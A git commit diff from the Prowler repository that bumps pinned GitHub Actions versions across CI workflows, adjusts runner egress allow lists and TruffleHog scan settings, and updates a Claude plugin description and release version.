chore(ci): update github-actions

fix(mongodbatlas): keep Atlas error detail on identity (#13214 )
fix(container): bump Python base image to 3.12.16 (#13215 )
2026-11-02 09:24:27 +00:00 · 2026-11-01 10:30:17 +00:00 · 2026-10-30 13:03:15 +01:00 · 2026-10-30 12:37:56 +01:00 · 2026-10-30 10:03:31 +01:00 · 2026-10-29 16:37:40 +01:00
1142 changed files with 42454 additions and 19920 deletions
@@ -1,6 +1,6 @@
 {
  "name": "prowler-plugins",
-  "description": "Prowler Cloud Security for Claude Code",
+  "description": "Prowler Cloud security and compliance for Claude",
  "owner": {
    "name": "Prowler",
    "email": "support@prowler.com"
@@ -9,7 +9,7 @@
    {
      "name": "prowler",
      "source": "./claude_plugins/prowler",
-      "description": "Prowler for Claude Code — cloud security and compliance skills powered by the Prowler MCP server. Bundles compliance triage and remediation; more skills coming.",
+      "description": "Connect Claude to Prowler Cloud through the Prowler MCP server. Reads providers, scans, findings, compliance results and resources for AWS, Azure, GCP, Kubernetes, Microsoft 365, GitHub and the other providers listed at https://registry.prowler.com, and returns remediation guidance for failed checks. Writes are limited to Prowler Cloud itself: triggering scans, finding triage, mute rules and the mutelist, providers and integrations. Your cloud resources are not changed by the connector.",
      "category": "security",
      "homepage": "https://prowler.com"
    }
@@ -174,7 +174,7 @@ SENTRY_RELEASE=local
 # REO_DEV_CLIENT_ID=

 #### Prowler release version ####
-NEXT_PUBLIC_PROWLER_RELEASE_VERSION=v5.45.0
+NEXT_PUBLIC_PROWLER_RELEASE_VERSION=v5.48.0

 # Social login credentials
 SOCIAL_GOOGLE_OAUTH_CALLBACK_URL="${AUTH_URL}/api/auth/callback/google"
@@ -42,7 +42,7 @@ runs:
  using: 'composite'
  steps:
    - name: Run Grype vulnerability scan (JSON)
-      uses: anchore/scan-action@e1165082ffb1fe366ebaf02d8526e7c4989ea9d2 # v7.4.0
+      uses: anchore/scan-action@27805bf3b4e84b4a5c980df22ed233c00390a439 # v7.4.2
      with:
        image: ${{ inputs.image-name }}:${{ inputs.image-tag }}
        output-format: 'json'
@@ -55,7 +55,7 @@ runs:

    - name: Run Grype vulnerability scan (SARIF)
      if: inputs.upload-sarif == 'true' && github.event_name == 'push'
-      uses: anchore/scan-action@e1165082ffb1fe366ebaf02d8526e7c4989ea9d2 # v7.4.0
+      uses: anchore/scan-action@27805bf3b4e84b4a5c980df22ed233c00390a439 # v7.4.2
      with:
        image: ${{ inputs.image-name }}:${{ inputs.image-tag }}
        output-format: 'sarif'
@@ -69,7 +69,7 @@ runs:

    - name: Upload Grype results to GitHub Security tab
      if: inputs.upload-sarif == 'true' && github.event_name == 'push'
-      uses: github/codeql-action/upload-sarif@3599b3baa15b485a2e49ef411a7a4bb2452e7f93 # v3.30.5
+      uses: github/codeql-action/upload-sarif@4bfa242aa49c5f7c6770b98670d354a7dfac05f8 # v3.39.1
      with:
        sarif_file: 'grype-results.sarif'
        category: 'grype-container'
@@ -108,7 +108,7 @@ runs:
      run: pip install --no-cache-dir --upgrade pip && pip install --no-cache-dir "uv==${UV_VERSION}"

    - name: Set up Python ${{ inputs.python-version }}
-      uses: actions/setup-python@e797f83bcb11b83ae66e0230d6156d7c80228e7c # v6.0.0
+      uses: actions/setup-python@ece7cb06caefa5fff74198d8649806c4678c61a1 # v6.3.0
      with:
        python-version: ${{ inputs.python-version }}
        cache: 'pip'
@@ -64,7 +64,7 @@ runs:
        scanners: 'vuln'
        ignore-unfixed: 'true' # A finding with no available fix is not actionable, so it must not gate
        timeout: '5m'
-        version: 'v0.74.0'
+        version: 'v0.76.1'
      # Not trivyignores: that input drops the .yaml extension Trivy parses by.
      env:
        TRIVY_IGNOREFILE: '.trivyignore.yaml'
@@ -81,14 +81,14 @@ runs:
        scanners: 'vuln'
        ignore-unfixed: 'true' # A finding with no available fix is not actionable, so it must not gate
        timeout: '5m'
-        version: 'v0.74.0'
+        version: 'v0.76.1'
      # Not trivyignores: that input drops the .yaml extension Trivy parses by.
      env:
        TRIVY_IGNOREFILE: '.trivyignore.yaml'

    - name: Upload Trivy results to GitHub Security tab
      if: inputs.upload-sarif == 'true' && github.event_name == 'push'
-      uses: github/codeql-action/upload-sarif@3599b3baa15b485a2e49ef411a7a4bb2452e7f93 # v3.30.5
+      uses: github/codeql-action/upload-sarif@4bfa242aa49c5f7c6770b98670d354a7dfac05f8 # v3.39.1
      with:
        sarif_file: 'trivy-results.sarif'
        category: 'trivy-container'
@@ -35,18 +35,19 @@ jobs:

    steps:
      - name: Harden Runner
-        uses: step-security/harden-runner@bf7454d06d71f1098171f2acdf0cd4708d7b5920 # v2.20.0
+        uses: step-security/harden-runner@dc2769abcc0fcfbadfc1df54081c1608579ef6b2 # v2.22.2
        with:
          egress-policy: block
          allowed-endpoints: >
            github.com:443
            pypi.org:443
            files.pythonhosted.org:443
+            release-assets.githubusercontent.com:443
            api.github.com:443
            raw.githubusercontent.com:443

      - name: Checkout repository
-        uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2
+        uses: actions/checkout@d23441a48e516b6c34aea4fa41551a30e30af803 # v6.1.0
        with:
          # zizmor: ignore[artipacked]
          persist-credentials: true # Required by tj-actions/changed-files to fetch PR branch
@@ -46,7 +46,7 @@ jobs:

    steps:
      - name: Harden Runner
-        uses: step-security/harden-runner@bf7454d06d71f1098171f2acdf0cd4708d7b5920 # v2.20.0
+        uses: step-security/harden-runner@dc2769abcc0fcfbadfc1df54081c1608579ef6b2 # v2.22.2
        with:
          egress-policy: block
          allowed-endpoints: >
@@ -58,17 +58,17 @@ jobs:
            objects.githubusercontent.com:443

      - name: Checkout repository
-        uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2
+        uses: actions/checkout@d23441a48e516b6c34aea4fa41551a30e30af803 # v6.1.0
        with:
          persist-credentials: false

      - name: Initialize CodeQL
-        uses: github/codeql-action/init@68bde559dea0fdcac2102bfdf6230c5f70eb485e # v4.35.4
+        uses: github/codeql-action/init@9b3254085494b55a0f7c4c2b3d2d52cc712ce370 # v4.39.1
        with:
          languages: ${{ matrix.language }}
          config-file: ./.github/codeql/api-codeql-config.yml

      - name: Perform CodeQL Analysis
-        uses: github/codeql-action/analyze@68bde559dea0fdcac2102bfdf6230c5f70eb485e # v4.35.4
+        uses: github/codeql-action/analyze@9b3254085494b55a0f7c4c2b3d2d52cc712ce370 # v4.39.1
        with:
          category: '/language:${{ matrix.language }}'
@@ -47,7 +47,7 @@ jobs:
      contents: read
    steps:
      - name: Harden Runner
-        uses: step-security/harden-runner@bf7454d06d71f1098171f2acdf0cd4708d7b5920 # v2.20.0
+        uses: step-security/harden-runner@dc2769abcc0fcfbadfc1df54081c1608579ef6b2 # v2.22.2
        with:
          egress-policy: block

@@ -68,12 +68,12 @@ jobs:
      contents: read
    steps:
      - name: Harden the runner (Audit all outbound calls)
-        uses: step-security/harden-runner@bf7454d06d71f1098171f2acdf0cd4708d7b5920 # v2.20.0
+        uses: step-security/harden-runner@dc2769abcc0fcfbadfc1df54081c1608579ef6b2 # v2.22.2
        with:
          egress-policy: audit

      - name: Checkout repository
-        uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2
+        uses: actions/checkout@d23441a48e516b6c34aea4fa41551a30e30af803 # v6.1.0
        with:
          persist-credentials: false

@@ -111,7 +111,7 @@ jobs:

    steps:
      - name: Harden Runner
-        uses: step-security/harden-runner@bf7454d06d71f1098171f2acdf0cd4708d7b5920 # v2.20.0
+        uses: step-security/harden-runner@dc2769abcc0fcfbadfc1df54081c1608579ef6b2 # v2.22.2
        with:
          egress-policy: block
          allowed-endpoints: >
@@ -132,7 +132,7 @@ jobs:
            www.powershellgallery.com:443

      - name: Checkout repository
-        uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2
+        uses: actions/checkout@d23441a48e516b6c34aea4fa41551a30e30af803 # v6.1.0
        with:
          persist-credentials: false

@@ -147,18 +147,18 @@ jobs:
          (cd api && uv lock --upgrade-package prowler)

      - name: Login to DockerHub
-        uses: docker/login-action@4907a6ddec9925e35a0a9e82d7399ccc52663121 # v4.1.0
+        uses: docker/login-action@81c6f93d4bc991e510b342a00b419b3bb4efc5c6 # v4.7.0
        with:
          username: ${{ secrets.DOCKERHUB_USERNAME }}
          password: ${{ secrets.DOCKERHUB_TOKEN }}

      - name: Set up Docker Buildx
-        uses: docker/setup-buildx-action@4d04d5d9486b7bd6fa91e7baf45bbb4f8b9deedd # v4.0.0
+        uses: docker/setup-buildx-action@f87e5991a6d7451dcb8d9637bfbc97413f497069 # v4.4.1

      - name: Build and push API container for ${{ matrix.arch }}
        id: container-push
        if: github.event_name == 'push' || github.event_name == 'release' || github.event_name == 'workflow_dispatch'
-        uses: docker/build-push-action@bcafcacb16a39f128d818304e6c9c0c18556b85f # v7.1.0
+        uses: docker/build-push-action@c3c9e263c25d99ce0380d002d59b67737d91b0dc # v7.4.0
        with:
          context: ${{ env.WORKING_DIRECTORY }}
          push: true
@@ -189,7 +189,7 @@ jobs:

    steps:
      - name: Harden Runner
-        uses: step-security/harden-runner@bf7454d06d71f1098171f2acdf0cd4708d7b5920 # v2.20.0
+        uses: step-security/harden-runner@dc2769abcc0fcfbadfc1df54081c1608579ef6b2 # v2.22.2
        with:
          egress-policy: block
          allowed-endpoints: >
@@ -200,7 +200,7 @@ jobs:
            registry-1.docker.io:443
            release-assets.githubusercontent.com:443
      - name: Login to DockerHub
-        uses: docker/login-action@4907a6ddec9925e35a0a9e82d7399ccc52663121 # v4.1.0
+        uses: docker/login-action@81c6f93d4bc991e510b342a00b419b3bb4efc5c6 # v4.7.0
        with:
          username: ${{ secrets.DOCKERHUB_USERNAME }}
          password: ${{ secrets.DOCKERHUB_TOKEN }}
@@ -250,12 +250,12 @@ jobs:
      contents: read
    steps:
      - name: Harden the runner (Audit all outbound calls)
-        uses: step-security/harden-runner@bf7454d06d71f1098171f2acdf0cd4708d7b5920 # v2.20.0
+        uses: step-security/harden-runner@dc2769abcc0fcfbadfc1df54081c1608579ef6b2 # v2.22.2
        with:
          egress-policy: audit

      - name: Checkout repository
-        uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2
+        uses: actions/checkout@d23441a48e516b6c34aea4fa41551a30e30af803 # v6.1.0
        with:
          persist-credentials: false

@@ -33,14 +33,14 @@ jobs:

    steps:
      - name: Harden Runner
-        uses: step-security/harden-runner@bf7454d06d71f1098171f2acdf0cd4708d7b5920 # v2.20.0
+        uses: step-security/harden-runner@dc2769abcc0fcfbadfc1df54081c1608579ef6b2 # v2.22.2
        with:
          egress-policy: block
          allowed-endpoints: >
            github.com:443

      - name: Checkout repository
-        uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2
+        uses: actions/checkout@d23441a48e516b6c34aea4fa41551a30e30af803 # v6.1.0
        with:
          # zizmor: ignore[artipacked]
          persist-credentials: true # Required by tj-actions/changed-files to fetch PR branch
@@ -53,7 +53,7 @@ jobs:

      - name: Lint Dockerfile with Hadolint
        if: steps.dockerfile-changed.outputs.any_changed == 'true'
-        uses: hadolint/hadolint-action@2332a7b74a6de0dda2e2221d575162eba76ba5e5 # v3.3.0
+        uses: hadolint/hadolint-action@06be81baf89a55ffd0e24b8f04a4185738dd3387 # v3.5.0
        with:
          dockerfile: api/Dockerfile
          ignore: DL3013
@@ -69,7 +69,7 @@ jobs:

    steps:
      - name: Harden Runner
-        uses: step-security/harden-runner@bf7454d06d71f1098171f2acdf0cd4708d7b5920 # v2.20.0
+        uses: step-security/harden-runner@dc2769abcc0fcfbadfc1df54081c1608579ef6b2 # v2.22.2
        with:
          egress-policy: block
          allowed-endpoints: >
@@ -81,6 +81,7 @@ jobs:
            auth.docker.io:443
            production.cloudflare.docker.com:443
            production.cloudfront.docker.com:443
+            tuf-repo-cdn.sigstore.dev:443
            raw.githubusercontent.com:443
            objects.githubusercontent.com:443
            grype.anchore.io:443
@@ -100,7 +101,7 @@ jobs:
            releases.astral.sh:443

      - name: Checkout repository
-        uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2
+        uses: actions/checkout@d23441a48e516b6c34aea4fa41551a30e30af803 # v6.1.0
        with:
          # zizmor: ignore[artipacked]
          persist-credentials: true # Required by tj-actions/changed-files to fetch PR branch
@@ -134,11 +135,11 @@ jobs:

      - name: Set up Docker Buildx
        if: steps.check-changes.outputs.any_changed == 'true'
-        uses: docker/setup-buildx-action@4d04d5d9486b7bd6fa91e7baf45bbb4f8b9deedd # v4.0.0
+        uses: docker/setup-buildx-action@f87e5991a6d7451dcb8d9637bfbc97413f497069 # v4.4.1

      - name: Build container
        if: steps.check-changes.outputs.any_changed == 'true'
-        uses: docker/build-push-action@bcafcacb16a39f128d818304e6c9c0c18556b85f # v7.1.0
+        uses: docker/build-push-action@c3c9e263c25d99ce0380d002d59b67737d91b0dc # v7.4.0
        with:
          context: ${{ env.API_WORKING_DIR }}
          push: false
@@ -43,7 +43,7 @@ jobs:

    steps:
      - name: Harden Runner
-        uses: step-security/harden-runner@bf7454d06d71f1098171f2acdf0cd4708d7b5920 # v2.20.0
+        uses: step-security/harden-runner@dc2769abcc0fcfbadfc1df54081c1608579ef6b2 # v2.22.2
        with:
          egress-policy: block
          allowed-endpoints: >
@@ -59,7 +59,7 @@ jobs:
            osv-vulnerabilities.storage.googleapis.com:443

      - name: Checkout repository
-        uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2
+        uses: actions/checkout@d23441a48e516b6c34aea4fa41551a30e30af803 # v6.1.0
        with:
          # zizmor: ignore[artipacked]
          persist-credentials: true # Required by tj-actions/changed-files to fetch PR branch
@@ -78,13 +78,14 @@ jobs:

    steps:
      - name: Harden Runner
-        uses: step-security/harden-runner@bf7454d06d71f1098171f2acdf0cd4708d7b5920 # v2.20.0
+        uses: step-security/harden-runner@dc2769abcc0fcfbadfc1df54081c1608579ef6b2 # v2.22.2
        with:
          egress-policy: block
          allowed-endpoints: >
            github.com:443
            pypi.org:443
            files.pythonhosted.org:443
+            release-assets.githubusercontent.com:443
            cli.codecov.io:443
            keybase.io:443
            raw.githubusercontent.com:443
@@ -95,7 +96,7 @@ jobs:


      - name: Checkout repository
-        uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2
+        uses: actions/checkout@d23441a48e516b6c34aea4fa41551a30e30af803 # v6.1.0
        with:
          # zizmor: ignore[artipacked]
          persist-credentials: true # Required by tj-actions/changed-files to fetch PR branch
@@ -128,7 +129,7 @@ jobs:

      - name: Upload coverage reports to Codecov
        if: steps.check-changes.outputs.any_changed == 'true'
-        uses: codecov/codecov-action@671740ac38dd9b0130fbe1cec585b89eea48d3de # v5.5.2
+        uses: codecov/codecov-action@0fb7174895f61a3b6b78fc075e0cd60383518dac # v5.5.5
        env:
          CODECOV_TOKEN: ${{ secrets.CODECOV_TOKEN }}
        with:
@@ -30,7 +30,7 @@ jobs:

    steps:
      - name: Harden Runner
-        uses: step-security/harden-runner@bf7454d06d71f1098171f2acdf0cd4708d7b5920 # v2.20.0
+        uses: step-security/harden-runner@dc2769abcc0fcfbadfc1df54081c1608579ef6b2 # v2.22.2
        with:
          egress-policy: block
          allowed-endpoints: >
@@ -39,7 +39,7 @@ jobs:

      - name: Check labels
        id: label_check
-        uses: agilepathway/label-checker@c324842522fbd012e4f590afe3b4e591301322ed # v1.6.66
+        uses: agilepathway/label-checker@ca6a0a663cbcf80bb9c7a10d000d7b6a54495ce0 # v1.6.115
        with:
          allow_failure: true
          prefix_mode: true
@@ -29,7 +29,7 @@ jobs:
      patch_version: ${{ steps.detect.outputs.patch_version }}
    steps:
      - name: Harden the runner (Audit all outbound calls)
-        uses: step-security/harden-runner@bf7454d06d71f1098171f2acdf0cd4708d7b5920 # v2.20.0
+        uses: step-security/harden-runner@dc2769abcc0fcfbadfc1df54081c1608579ef6b2 # v2.22.2
        with:
          egress-policy: audit

@@ -75,12 +75,12 @@ jobs:
      pull-requests: write
    steps:
      - name: Harden the runner (Audit all outbound calls)
-        uses: step-security/harden-runner@bf7454d06d71f1098171f2acdf0cd4708d7b5920 # v2.20.0
+        uses: step-security/harden-runner@dc2769abcc0fcfbadfc1df54081c1608579ef6b2 # v2.22.2
        with:
          egress-policy: audit

      - name: Checkout master
-        uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2
+        uses: actions/checkout@d23441a48e516b6c34aea4fa41551a30e30af803 # v6.1.0
        with:
          ref: master
          persist-credentials: false
@@ -202,12 +202,12 @@ jobs:
      pull-requests: write
    steps:
      - name: Harden the runner (Audit all outbound calls)
-        uses: step-security/harden-runner@bf7454d06d71f1098171f2acdf0cd4708d7b5920 # v2.20.0
+        uses: step-security/harden-runner@dc2769abcc0fcfbadfc1df54081c1608579ef6b2 # v2.22.2
        with:
          egress-policy: audit

      - name: Checkout version branch
-        uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2
+        uses: actions/checkout@d23441a48e516b6c34aea4fa41551a30e30af803 # v6.1.0
        with:
          ref: v${{ needs.detect-release-type.outputs.major_version }}.${{ needs.detect-release-type.outputs.minor_version }}
          persist-credentials: false
@@ -307,12 +307,12 @@ jobs:
      pull-requests: write
    steps:
      - name: Harden the runner (Audit all outbound calls)
-        uses: step-security/harden-runner@bf7454d06d71f1098171f2acdf0cd4708d7b5920 # v2.20.0
+        uses: step-security/harden-runner@dc2769abcc0fcfbadfc1df54081c1608579ef6b2 # v2.22.2
        with:
          egress-policy: audit

      - name: Checkout repository
-        uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2
+        uses: actions/checkout@d23441a48e516b6c34aea4fa41551a30e30af803 # v6.1.0
        with:
          persist-credentials: false

@@ -22,12 +22,12 @@ jobs:

    steps:
      - name: Harden the runner (Audit all outbound calls)
-        uses: step-security/harden-runner@fa2e9d605c4eeb9fcad4c99c224cee0c6c7f3594 # v2.16.0
+        uses: step-security/harden-runner@dc2769abcc0fcfbadfc1df54081c1608579ef6b2 # v2.22.2
        with:
          egress-policy: audit

      - name: Checkout repository
-        uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2
+        uses: actions/checkout@d23441a48e516b6c34aea4fa41551a30e30af803 # v6.1.0
        with:
          persist-credentials: false

@@ -28,7 +28,7 @@ jobs:

    steps:
      - name: Harden Runner
-        uses: step-security/harden-runner@bf7454d06d71f1098171f2acdf0cd4708d7b5920 # v2.20.0
+        uses: step-security/harden-runner@dc2769abcc0fcfbadfc1df54081c1608579ef6b2 # v2.22.2
        with:
          egress-policy: block
          allowed-endpoints: >
@@ -36,7 +36,7 @@ jobs:

    steps:
      - name: Harden Runner
-        uses: step-security/harden-runner@bf7454d06d71f1098171f2acdf0cd4708d7b5920 # v2.20.0
+        uses: step-security/harden-runner@dc2769abcc0fcfbadfc1df54081c1608579ef6b2 # v2.22.2
        with:
          egress-policy: block
          allowed-endpoints: >
@@ -46,11 +46,11 @@ jobs:
            api.github.com:443

      - name: Checkout repository
-        uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2
+        uses: actions/checkout@d23441a48e516b6c34aea4fa41551a30e30af803 # v6.1.0
        with:
          persist-credentials: false

      - name: Run zizmor
-        uses: zizmorcore/zizmor-action@a16621b09c6db4281f81a93cb393b05dcd7b7165 # v0.5.5
+        uses: zizmorcore/zizmor-action@53290badfa369cb0bf7ad16342cb62c2fa47ac7b # v0.8.0
        with:
          token: ${{ github.token }}
@@ -22,7 +22,7 @@ jobs:

    steps:
      - name: Harden the runner (Audit all outbound calls)
-        uses: step-security/harden-runner@bf7454d06d71f1098171f2acdf0cd4708d7b5920 # v2.20.0
+        uses: step-security/harden-runner@dc2769abcc0fcfbadfc1df54081c1608579ef6b2 # v2.22.2
        with:
          egress-policy: audit

@@ -54,7 +54,7 @@ jobs:
      pull-requests: write
    steps:
      - name: Harden the runner (Block outbound calls)
-        uses: step-security/harden-runner@bf7454d06d71f1098171f2acdf0cd4708d7b5920 # v2.20.0
+        uses: step-security/harden-runner@dc2769abcc0fcfbadfc1df54081c1608579ef6b2 # v2.22.2
        with:
          egress-policy: block
          allowed-endpoints: >
@@ -66,7 +66,7 @@ jobs:
            files.pythonhosted.org:443

      - name: Checkout repository
-        uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2
+        uses: actions/checkout@d23441a48e516b6c34aea4fa41551a30e30af803 # v6.1.0
        with:
          ref: ${{ inputs.target_branch }}
          fetch-depth: 0 # PR attribution resolves each fragment's adding commit from history
@@ -74,9 +74,9 @@ jobs:
          persist-credentials: false

      - name: Set up Python
-        uses: actions/setup-python@e797f83bcb11b83ae66e0230d6156d7c80228e7c # v6.0.0
+        uses: actions/setup-python@ece7cb06caefa5fff74198d8649806c4678c61a1 # v6.3.0
        with:
-          python-version: '3.12'
+          python-version: '3.12.16'

      - name: Install towncrier
        run: pip install --no-cache-dir towncrier==25.8.0
@@ -26,7 +26,7 @@ jobs:

    steps:
      - name: Harden the runner (Audit all outbound calls)
-        uses: step-security/harden-runner@bf7454d06d71f1098171f2acdf0cd4708d7b5920 # v2.20.0
+        uses: step-security/harden-runner@dc2769abcc0fcfbadfc1df54081c1608579ef6b2 # v2.22.2
        with:
          egress-policy: audit

@@ -25,7 +25,7 @@ jobs:

    steps:
      - name: Harden the runner (Audit all outbound calls)
-        uses: step-security/harden-runner@bf7454d06d71f1098171f2acdf0cd4708d7b5920 # v2.20.0
+        uses: step-security/harden-runner@dc2769abcc0fcfbadfc1df54081c1608579ef6b2 # v2.22.2
        with:
          egress-policy: audit

@@ -40,7 +40,7 @@ jobs:

    steps:
      - name: Harden Runner
-        uses: step-security/harden-runner@bf7454d06d71f1098171f2acdf0cd4708d7b5920 # v2.20.0
+        uses: step-security/harden-runner@dc2769abcc0fcfbadfc1df54081c1608579ef6b2 # v2.22.2
        with:
          egress-policy: block
          allowed-endpoints: >
@@ -48,7 +48,7 @@ jobs:
            hub.docker.com:443

      - name: Checkout repository
-        uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2
+        uses: actions/checkout@d23441a48e516b6c34aea4fa41551a30e30af803 # v6.1.0
        with:
          persist-credentials: false

@@ -70,7 +70,7 @@ jobs:

    steps:
      - name: Harden Runner
-        uses: step-security/harden-runner@bf7454d06d71f1098171f2acdf0cd4708d7b5920 # v2.20.0
+        uses: step-security/harden-runner@dc2769abcc0fcfbadfc1df54081c1608579ef6b2 # v2.22.2
        with:
          egress-policy: block
          allowed-endpoints: >
@@ -78,7 +78,7 @@ jobs:
            hub.docker.com:443

      - name: Checkout repository
-        uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2
+        uses: actions/checkout@d23441a48e516b6c34aea4fa41551a30e30af803 # v6.1.0
        with:
          persist-credentials: false

@@ -28,14 +28,14 @@ jobs:

    steps:
      - name: Harden Runner
-        uses: step-security/harden-runner@ab7a9404c0f3da075243ca237b5fac12c98deaa5 # v2.19.3
+        uses: step-security/harden-runner@dc2769abcc0fcfbadfc1df54081c1608579ef6b2 # v2.22.2
        with:
          egress-policy: block
          allowed-endpoints: >
            github.com:443

      - name: Checkout repository
-        uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2
+        uses: actions/checkout@d23441a48e516b6c34aea4fa41551a30e30af803 # v6.1.0
        with:
          persist-credentials: false

@@ -25,7 +25,7 @@ jobs:

    steps:
      - name: Harden Runner
-        uses: step-security/harden-runner@bf7454d06d71f1098171f2acdf0cd4708d7b5920 # v2.20.0
+        uses: step-security/harden-runner@dc2769abcc0fcfbadfc1df54081c1608579ef6b2 # v2.22.2
        with:
          # We can't block as Trufflehog needs to verify secrets against vendors
          egress-policy: audit
@@ -36,15 +36,18 @@ jobs:
            www.formbucket.com:443

      - name: Checkout repository
-        uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2
+        uses: actions/checkout@d23441a48e516b6c34aea4fa41551a30e30af803 # v6.1.0
        with:
-          # PRs only need the diff range; push to master/release walks the new range from event.before.
-          # 50 is enough headroom for the longest realistic PR/push chain without paying for a full clone.
-          fetch-depth: 50
+          # Full history: a shallow clone cuts the PR's ancestry, git can no longer exclude commits
+          # already on the base branch, and TruffleHog scans the cut-off commit as a root (the whole
+          # tree as added). PRs that merge master in hit this and fail on pre-existing content.
+          fetch-depth: 0
          persist-credentials: false

      - name: Scan diff for secrets with TruffleHog
        # Action auto-injects --since-commit/--branch from event payload; passing them in extra_args produces duplicate flags.
-        uses: trufflesecurity/trufflehog@37b77001d0174ebec2fcca2bd83ff83a6d45a3ab # v3.95.3
+        uses: trufflesecurity/trufflehog@31ce31ee1abbcc7dc8eee5764c17121c3044c8b2 # v3.99.7
        with:
+          # The action runs the `latest` image unless told otherwise: pin the scanner to the action's release.
+          version: 3.99.2@sha256:47a84bc18a0d04a165498bbbd3bacfd84176661cbc91f8e0f85467f6a771e99a
          extra_args: --results=verified,unknown
@@ -33,17 +33,17 @@ jobs:

    steps:
      - name: Harden the runner (Audit all outbound calls)
-        uses: step-security/harden-runner@bf7454d06d71f1098171f2acdf0cd4708d7b5920 # v2.20.0
+        uses: step-security/harden-runner@dc2769abcc0fcfbadfc1df54081c1608579ef6b2 # v2.22.2
        with:
          egress-policy: audit

      - name: Checkout repository
-        uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2
+        uses: actions/checkout@d23441a48e516b6c34aea4fa41551a30e30af803 # v6.1.0
        with:
          persist-credentials: false

      - name: Set up Helm
-        uses: azure/setup-helm@dda3372f752e03dde6b3237bc9431cdc2f7a02a2 # v5.0.0
+        uses: azure/setup-helm@9bc31f4ebc9c6b171d7bfbaa5d006ae7abdb4310 # v5.0.1

      - name: Update chart dependencies
        run: helm dependency update ${{ env.CHART_PATH }}
@@ -26,17 +26,17 @@ jobs:

    steps:
      - name: Harden the runner (Audit all outbound calls)
-        uses: step-security/harden-runner@bf7454d06d71f1098171f2acdf0cd4708d7b5920 # v2.20.0
+        uses: step-security/harden-runner@dc2769abcc0fcfbadfc1df54081c1608579ef6b2 # v2.22.2
        with:
          egress-policy: audit

      - name: Checkout repository
-        uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2
+        uses: actions/checkout@d23441a48e516b6c34aea4fa41551a30e30af803 # v6.1.0
        with:
          persist-credentials: false

      - name: Set up Helm
-        uses: azure/setup-helm@dda3372f752e03dde6b3237bc9431cdc2f7a02a2 # v5.0.0
+        uses: azure/setup-helm@9bc31f4ebc9c6b171d7bfbaa5d006ae7abdb4310 # v5.0.1

      - name: Set chart version and appVersion from release tag
        run: |
@@ -22,7 +22,7 @@ jobs:
      issues: write
    steps:
      - name: Harden Runner
-        uses: step-security/harden-runner@bf7454d06d71f1098171f2acdf0cd4708d7b5920 # v2.20.0
+        uses: step-security/harden-runner@dc2769abcc0fcfbadfc1df54081c1608579ef6b2 # v2.22.2
        with:
          egress-policy: block
          allowed-endpoints: >
@@ -27,12 +27,12 @@ jobs:

    steps:
      - name: Harden the runner (Audit all outbound calls)
-        uses: step-security/harden-runner@bf7454d06d71f1098171f2acdf0cd4708d7b5920 # v2.20.0
+        uses: step-security/harden-runner@dc2769abcc0fcfbadfc1df54081c1608579ef6b2 # v2.22.2
        with:
          egress-policy: audit

      - name: Apply labels to PR
-        uses: actions/labeler@f27b608878404679385c85cfa523b85ccb86e213 # v6.1.0
+        uses: actions/labeler@b8dd2d9be0f68b860e7dae5dae7d772984eacd6d # v6.2.0
        with:
          sync-labels: true

@@ -46,7 +46,7 @@ jobs:

    steps:
      - name: Harden the runner (Audit all outbound calls)
-        uses: step-security/harden-runner@bf7454d06d71f1098171f2acdf0cd4708d7b5920 # v2.20.0
+        uses: step-security/harden-runner@dc2769abcc0fcfbadfc1df54081c1608579ef6b2 # v2.22.2
        with:
          egress-policy: audit

@@ -26,7 +26,7 @@ jobs:

    steps:
      - name: Harden Runner
-        uses: step-security/harden-runner@bf7454d06d71f1098171f2acdf0cd4708d7b5920 # v2.20.0
+        uses: step-security/harden-runner@dc2769abcc0fcfbadfc1df54081c1608579ef6b2 # v2.22.2
        with:
          egress-policy: block
          allowed-endpoints: >
@@ -36,7 +36,7 @@ jobs:
            release-assets.githubusercontent.com:443

      - name: Checkout repository
-        uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2
+        uses: actions/checkout@d23441a48e516b6c34aea4fa41551a30e30af803 # v6.1.0
        with:
          persist-credentials: false

@@ -46,7 +46,7 @@ jobs:
      contents: read
    steps:
      - name: Harden Runner
-        uses: step-security/harden-runner@bf7454d06d71f1098171f2acdf0cd4708d7b5920 # v2.20.0
+        uses: step-security/harden-runner@dc2769abcc0fcfbadfc1df54081c1608579ef6b2 # v2.22.2
        with:
          egress-policy: block

@@ -67,12 +67,12 @@ jobs:
      contents: read
    steps:
      - name: Harden the runner (Audit all outbound calls)
-        uses: step-security/harden-runner@bf7454d06d71f1098171f2acdf0cd4708d7b5920 # v2.20.0
+        uses: step-security/harden-runner@dc2769abcc0fcfbadfc1df54081c1608579ef6b2 # v2.22.2
        with:
          egress-policy: audit

      - name: Checkout repository
-        uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2
+        uses: actions/checkout@d23441a48e516b6c34aea4fa41551a30e30af803 # v6.1.0
        with:
          persist-credentials: false

@@ -109,7 +109,7 @@ jobs:
      packages: write
    steps:
